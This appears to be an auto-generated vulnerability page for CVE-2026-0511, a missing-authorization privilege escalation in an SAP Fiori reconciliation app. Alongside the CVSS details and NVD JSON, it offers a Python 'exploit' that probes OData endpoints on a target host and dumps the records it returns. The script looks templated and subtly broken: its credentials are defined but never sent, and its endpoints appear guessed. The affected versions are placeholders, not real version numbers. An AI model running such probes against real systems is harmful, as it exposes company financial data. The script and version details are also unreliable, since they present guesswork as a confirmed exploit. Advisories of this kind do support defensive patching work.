Security Vulnerability Report
中文
CVE-2026-0511 CVSS 8.1 HIGH

CVE-2026-0511

Published: 2026-01-13 02:15:54
Last Modified: 2026-04-15 00:35:42

Description

SAP Fiori App Intercompany Balance Reconciliation does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges. This has high impact on confidentiality and integrity of the application ,availability is not impacted.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

SAP Fiori App Intercompany Balance Reconciliation (GBHXL) < 安全补丁版本
SAP S/4HANA 特定版本受此漏洞影响
SAP Fiori Frontend Server < 最新安全更新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0511 PoC - SAP Fiori Privilege Escalation # Affected Component: Intercompany Balance Reconciliation # This PoC demonstrates unauthorized access to privileged functions import requests import json TARGET_URL = "https://<sap-host>/sap/bc/ui2/flp" CVE_ID = "CVE-2026-0511" def exploit_privilege_escalation(): """ Attempt to access privileged functions without proper authorization This exploits missing authorization checks in SAP Fiori app """ print(f"[*] Exploiting {CVE_ID}") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate with low-privilege account session = requests.Session() auth_data = { "user": "low_privilege_user", "password": "user_password" } # Step 2: Identify vulnerable endpoint # The Intercompany Balance Reconciliation app has unprotected APIs vulnerable_endpoints = [ "/sap/opu/odata/svc/IntercompanyBalanceSrv/", "/sap/bc/ui2/start_up", "/sap/opu/odata/sap/GBHXL_BALANCE_RECONCILIATION_CDS/" ] # Step 3: Attempt to access privileged data/functions for endpoint in vulnerable_endpoints: try: response = session.get( f"{TARGET_URL}{endpoint}", headers={ "X-CSRF-Token": "fetch", "Accept": "application/json" }, verify=False, timeout=30 ) if response.status_code == 200: print(f"[+] Accessible endpoint found: {endpoint}") print(f"[+] Response: {response.text[:500]}") # Step 4: Extract sensitive data if "d" in response.json(): data = response.json()["d"]["results"] print(f"[+] Retrieved {len(data)} records") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[*] Exploitation complete") if __name__ == "__main__": exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0511", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:53.800", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Fiori App Intercompany Balance Reconciliation does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges. This has high impact on confidentiality and integrity of the application ,availability is not impacted."}, {"lang": "es", "value": "La aplicación SAP Fiori Intercompany Balance Reconciliation no realiza las comprobaciones de autorización necesarias para un usuario autenticado, lo que resulta en una escalada de privilegios. Esto tiene un alto impacto en la confidencialidad e integridad de la aplicación; la disponibilidad no se ve afectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3565506", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}